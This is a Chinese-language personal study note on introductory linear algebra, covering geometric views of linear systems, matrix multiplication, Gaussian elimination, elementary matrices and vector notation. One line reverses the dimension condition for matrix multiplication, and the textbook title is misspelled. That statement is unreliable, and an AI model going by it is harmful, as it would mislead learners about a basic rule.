本来想看格密码的，可是发现自己好多线性代数基础都忘了，于是开始复(yu)习线性代数
这个系列是我的线性代数笔记，课程是MIT 线性代数，挺有名的那个，课程网站，教材是 Introduction to LinearAlgorithm, 5th
方程组的几何解释
考虑如下线性方程组
$$
\begin{cases}
2x-y=0
\-x+y=3
\end{cases}
$$
行图像：两个线性方程画成平面上的两条直线，直线的交点就是方程组的解
线性方程组的”线性“也是来源于此，在平面上表现为一条直线
列图像：线性方程组就是矩阵的线性组合
上面的方程组可以写成下面的形式
$$
x
\begin{bmatrix}
2\-1
\end{bmatrix}
+y\begin{bmatrix}-1\1\end{bmatrix}
=\begin{bmatrix}0\3\end{bmatrix}
$$
其中$\begin{bmatrix}2\-1\end{bmatrix}$这种可以看成一个从$(0,0)$到$(2,-1)$的一个向量，如图
这样问题就变成了向量$\begin{bmatrix}2\-1\end{bmatrix}$和向量$\begin{bmatrix}-1\1\end{bmatrix}$如何组合可以得到向量$\begin{bmatrix}0\3\end{bmatrix}$
向量的相加，在图上表现为将向量平移后首尾相接，如图中虚线所示
3维空间(3个未知数)同理，只是行图像中，一个方程不再代表一条线，而是一个3维空间的一个平面；两个平面只能相交与一条直线(非奇异情况)
矩阵乘法
视频中介绍了矩阵乘法的两种方法，举例说明
上面的方程组写成矩阵形式如下
$$
\begin{bmatrix}2 & -1\ -1 & 1\end{bmatrix}
\begin{bmatrix}x\y\end{bmatrix}
=
\begin{bmatrix}0\3\end{bmatrix}
$$
其中$x,y$可以是具体的数(解限定情况下就固定了)
算法1：使用上面的方法，将矩阵相乘转化为矩阵分别相加
$$
x
\begin{bmatrix}
2\-1
\end{bmatrix}
+y\begin{bmatrix}-1\1\end{bmatrix}
=\begin{bmatrix}0\3\end{bmatrix}
$$
算法2：矩阵相乘算法
将第一个矩阵的第一行分别与第二个矩阵的第一列点乘，结果作为结果矩阵的第一行第一列，然后是1的第二行和2的第一列，结果作为第二行第一列，以此类推
形式化说法：将第一个矩阵的第$i$行和第二个矩阵的第$j$列相乘，结果作为结果矩阵的位于$(i,j)$的元素
点乘($\cdot$)
$[a,b,c]\cdot[d,e,f]=ad+be+cf$
也可以看出矩阵相乘的充分必要条件，即第一个矩阵的行数等于第二个矩阵的列数，结果矩阵为(第一个矩阵的行数，第二个矩阵的列数)大小
知识回忆
如果一个矩阵中，任意一个行向量都不能成为其它行向量的线性表示，则称这个矩阵是非奇异的，并且是可逆的
矩阵消元
消元法
考虑三元一次方程组，解的时候使用消元法
$$
\begin{cases}
x+2y+z=2
\3x+8y+z=12
\\ \ \ \ \ \ \ \ \ 4y+z=2
\end{cases}
$$
可以写成矩阵形式
$$
\begin{bmatrix}
1&2&1\
3&8&1\
0&4&1
\end{bmatrix}
\begin{bmatrix}
x\y\z
\end{bmatrix}
=
\begin{bmatrix}
2\12\2
\end{bmatrix}
$$
矩阵的坐标从左上角开始，如(1,2)代表第一行第二列的元素
消元法首先选择(1,1)的元素作为主元，然后消去第二行和第三行的对应主元参数的系数(使它变为0)，再选择(2,2)作为主元，继续做
主元的系数不能是0，如果是0需要进行行交换
设上面的矩阵表达式为$Ax=b$，则$A$和$b$合并成为$A$的增长矩阵
$$
\begin{bmatrix}
1&2&1&2\
3&8&1&12\
0&4&1&2
\end{bmatrix}
$$
回代即把消元后的矩阵回代到方程组中
矩阵乘法
上节课讲到了矩阵右乘一个列向量，那么矩阵左乘一个行向量也同理，可以理解为各个行相加
$$
\begin{bmatrix}
x&y&z
\end{bmatrix}
\begin{bmatrix}
1&2&1\
3&8&1\
0&4&1
\end{bmatrix}
=
\begin{bmatrix}
2&12&2
\end{bmatrix}
$$
可以理解为x倍第一行加y倍第二行加z倍第三行
从这个算法可以看出，左乘矩阵即对矩阵进行行变换，同理右乘矩阵是列变换
单位阵乘一个矩阵，矩阵的值不变
$$
\begin{bmatrix}
1&0&0\0&1&0\0&0&1
\end{bmatrix}
$$
矩阵消元进行的是行变换，可以理解为左乘一个矩阵。左乘的矩阵称为初等矩阵，如果为了消去(2,1)的系数，用$E_{2,1}$表示，同理有$E_{3,1},E_{3,2}$
矩阵乘法具有结合律，但没有交换律
学习某些算法时遇到的符号
对于一个向量$\mathbf{x}$，$||\mathbf{x}||=\sqrt{\sum_{i=1}^{n} x_i^2}$表示$n$维空间中$\mathbf{x}$的模
满秩矩阵：对于a*b大小的矩阵，如果行向量线性无关，称为行满秩，列向量线性无关称为列满秩，行列向量都线性无关，n阶方阵称为满秩矩阵
正定矩阵：对于任何非0向量$\mathbf{z}$,$\mathbf{z^TMz}>0$，则$M$为正定矩阵
狭义定义：当且仅当…
$\arg\limits_x \min f(x)$表示当$f(x)$取最小时$x$的值，同理$\arg\limits_x \max f(x)$
向量点乘$\mathbf{}{v\cdot w}= \sum\limits_i v_iw_i$
向量长度$\mathbf{||v||=\sqrt{v\cdot v}}$
向量夹角$\cos\theta=\mathbf{\frac{v\cdot w}{||v||\ ||w||}}$
向量点乘为0说明向量正交
单位向量就是长度为1的向量
$\mathbf{A}=\begin{bmatrix}1&0&0\-1&1&0\0&-1&1\end{bmatrix}$称为差异矩阵，因为$\mathbf{x}=\begin{bmatrix}a&b&c\end{bmatrix}^T$和它相乘，最终结果是$\begin{bmatrix}a&b-a&c-b\end{bmatrix}^T$
依赖、相关性